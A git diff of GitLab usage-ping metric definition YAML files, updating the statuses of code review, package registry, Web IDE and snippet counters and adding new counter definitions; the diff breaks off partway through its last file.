diff --git a/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml b/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
index 04ff06143af..a6102f8f936 100644
--- a/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
+++ b/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml b/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
index ad5b5e835c1..e8539fa483b 100644
--- a/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
+++ b/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml b/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
index c71bacd6004..b3b1cb0b54e 100644
--- a/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
+++ b/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml b/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
index 0d17fa0d965..006e345f0f0 100644
--- a/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
+++ b/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml b/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
index 6038bb5cda8..273a98da172 100644
--- a/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
+++ b/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml b/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
index 3cfcdf23a47..17ce7101133 100644
--- a/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
+++ b/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml b/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
index 16784a0c408..cde5800cf60 100644
--- a/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
+++ b/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
@@ -6,7 +6,7 @@ product_stage: create
product_group: group::code review
product_category: code_review
value_type: number
-status: implemented
+status: data_available
milestone: '13.12'
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
index 224fd6477cc..53757c27ca2 100644
--- a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml b/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
index ba872d725df..9d79661bf27 100644
--- a/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml b/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
index e0e6bb0567d..492c50c4838 100644
--- a/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
index 594df7ebe26..edd385da9ce 100644
--- a/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml b/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
index 0f68989cc1d..dc08952bb18 100644
--- a/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
+++ b/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
@@ -7,7 +7,7 @@ product_stage:
product_group:
product_category:
value_type: number
-status: implemented
+status: data_available
milestone: "13.12"
introduced_by_url:
time_frame: 28d
diff --git a/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml b/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml
new file mode 100644
index 00000000000..c685e277215
--- /dev/null
+++ b/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml
@@ -0,0 +1,21 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_user_resolve_conflict_monthly
+name: resolve_conflict
+description: Count of unique users per week who attempt to resolve a conflict through the ui
+product_section:
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: "13.12"
+time_frame: 28d
+data_source: redis_hll
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61654
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml b/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml
new file mode 100644
index 00000000000..e421203a195
--- /dev/null
+++ b/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml
@@ -0,0 +1,21 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_monthly
+name: load_conflict_ui
+description: Count of unique users per week who load the conflict resolution page
+product_section:
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: "13.12"
+time_frame: 28d
+data_source: redis_hll
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61654
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml b/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml
new file mode 100644
index 00000000000..67dd8f83475
--- /dev/null
+++ b/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml
@@ -0,0 +1,20 @@
+---
+key_path: counts_monthly.projects
+description: 'Count number of projects created monthly'
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: ''
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61775
+time_frame: 28d
+data_source: database
+distribution:
+ - ce
+ - ee
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml b/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml
new file mode 100644
index 00000000000..7a2b6a882a1
--- /dev/null
+++ b/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_monthly
+description: Distinct Helm pakages deployed in recent 28 days
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml b/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml
new file mode 100644
index 00000000000..ca524c7a500
--- /dev/null
+++ b/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_helm_user_monthly
+description: Distinct user count events for Helm packages in recent 28 days
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package_registry
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61014
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210520111133_total.yml b/config/metrics/counts_28d/20210520111133_total.yml
new file mode 100644
index 00000000000..9b4ec4f0909
--- /dev/null
+++ b/config/metrics/counts_28d/20210520111133_total.yml
@@ -0,0 +1,20 @@
+---
+key_path: usage_activity_by_stage_monthly.manage.project_imports.total
+description: Total count of projects imported
+product_section: dev
+product_stage: manage
+product_group: group::import
+product_category:
+value_type: number
+status: implemented
+milestone: "14.0"
+introduced_by_url: "https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61775"
+time_frame: 28d
+data_source: database
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml b/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml
new file mode 100644
index 00000000000..04edbaf1ec1
--- /dev/null
+++ b/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.code_review.i_code_review_click_diff_view_setting_monthly
+description: Count of users clicking diff view setting
+product_section: dev
+product_stage: create
+product_group: group::code review
+product_category: code_review
+value_type: number
+status: data_available
+milestone: '13.12'
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59979
+time_frame: 28d
+data_source: redis_hll
+distribution:
+ - ce
+tier:
+ - free
+ - premium
+ - ultimate
diff --git a/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml b/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml
new file mode 100644
index 00000000000..75c9ec54cff
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ide_edit.g_edit_by_web_ide_weekly
+description: Weekly number of users editing using the Web IDE
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: web_ide
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml b/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml
new file mode 100644
index 00000000000..17a8146bdca
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ide_edit.g_edit_by_sfe_weekly
+description: Weekly number of users editing from the single file editor
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: web_ide
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml b/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml
new file mode 100644
index 00000000000..3ef008c12bb
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ide_edit.g_edit_by_snippet_ide_weekly
+description: Weekly number of users editing Snippets
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: snippets
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..60bd21f811a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ide_edit.ide_edit_total_unique_counts_weekly
+description: Weekly number of users editing a file using the Web IDE
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: web_ide
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
index 362404036a5..a8dbfcf2555 100644
--- a/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
+++ b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
@@ -9,7 +9,10 @@ value_type: number
status: data_available
time_frame: 7d
data_source: redis_hll
-instrumentation_class: CountUsersUsingApproveQuickActionMetric
+instrumentation_class: RedisHLLMetric
+options:
+ events:
+ - i_quickactions_approve
distribution:
- ce
- ee
diff --git a/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml b/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml
new file mode 100644
index 00000000000..3fefa5bdda9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184022_g_edit_by_sse_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.ide_edit.g_edit_by_sse_weekly
+description: Weekly number of users editing using the Static Site Editor
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: static_site_editor
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml b/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml
new file mode 100644
index 00000000000..d6d28589760
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184253_i_snippets_show_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.snippets.i_snippets_show_weekly
+description: Weekly number of users viewing snippets
+product_section: dev
+product_stage: create
+product_group: group::editor
+product_category: snippets
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml b/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml
new file mode 100644
index 00000000000..68c75dd579b
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184301_o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_weekly
+description: Weekly unique user count doing commits which contains the CI config file
+product_section: ops
+product_stage: verify
+product_group: group::pipeline authoring
+product_category: pipeline_authoring
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..6f7c9c18aa1
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184557_ci_templates_total_unique_counts_weekly.yml
@@ -0,0 +1,20 @@
+---
+key_path: redis_hll_counters.ci_templates.ci_templates_total_unique_counts_weekly
+description: Total count of pipelines runs
+product_section: ops
+product_stage: configure
+product_group: group::configure
+product_category: infrastructure_as_code
+value_type: number
+status: broken
+repair_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/332466
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml
new file mode 100644
index 00000000000..cd92e9282ef
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184805_i_package_composer_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_composer_deploy_token_weekly
+description: A weekly count of Composer packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml
new file mode 100644
index 00000000000..e6c21b02342
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184808_i_package_conan_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_conan_deploy_token_weekly
+description: A weekly count of Conan packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml
new file mode 100644
index 00000000000..3fde3669069
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184812_i_package_container_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_container_deploy_token_weekly
+description: A weekly count of container images published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml
new file mode 100644
index 00000000000..7d76be2711b
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184816_i_package_debian_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_debian_deploy_token_weekly
+description: A weekly count of Debian packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml
new file mode 100644
index 00000000000..edcd164636a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184820_i_package_generic_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_generic_deploy_token_weekly
+description: A weekly count of generic packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml
new file mode 100644
index 00000000000..5c0ec453711
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184824_i_package_golang_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_golang_deploy_token_weekly
+description: A weekly count of Go modules published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml
new file mode 100644
index 00000000000..af6daafa7dd
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184828_i_package_maven_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_maven_deploy_token_weekly
+description: A weekly count of Maven packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml
new file mode 100644
index 00000000000..609bebc4087
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184832_i_package_npm_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_npm_deploy_token_weekly
+description: A weekly count of npm packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml
new file mode 100644
index 00000000000..0f78eb35621
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184836_i_package_nuget_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_nuget_deploy_token_weekly
+description: A weekly count of NuGet packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml
new file mode 100644
index 00000000000..0cf568469ee
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184840_i_package_pypi_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_pypi_deploy_token_weekly
+description: A weekly count of Python packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml b/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml
new file mode 100644
index 00000000000..b36b49e33ae
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184844_i_package_tag_deploy_token_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.i_package_tag_deploy_token_weekly
+description: A weekly count of users that have published a package tag to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..3809462ab07
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184848_deploy_token_packages_total_unique_counts_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.deploy_token_packages.deploy_token_packages_total_unique_counts_weekly
+description: A weekly count of packages published to the registry using a deploy token
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml b/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml
new file mode 100644
index 00000000000..cfaa46f0dae
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184852_i_package_composer_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_composer_user_weekly
+description: A weekly count of users that have published a Composer package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml b/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml
new file mode 100644
index 00000000000..b044acc90fa
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184856_i_package_conan_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_conan_user_weekly
+description: A weekly count of users that have published a Conan package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml b/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml
new file mode 100644
index 00000000000..98a07acb5d0
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184900_i_package_container_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_container_user_weekly
+description: A weekly count of users that have published a container image to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: container registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml b/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml
new file mode 100644
index 00000000000..8dc2aed0989
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184904_i_package_debian_user_weekly.yml
@@ -0,0 +1,18 @@
+---
+key_path: redis_hll_counters.user_packages.i_package_debian_user_weekly
+description: A weekly count of users that have published a Debian package to the registry
+product_section: ops
+product_stage: package
+product_group: group::package
+product_category: package registry
+value_type: number
+status: deprecated
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ee
+- ce
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml b/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml
new file mode 100644
index 00000000000..e5e25e10db1
--- /dev/null
+++ b/config/metrics/counts_7d/20210216184908_i_package_generic_user_weekly.yml
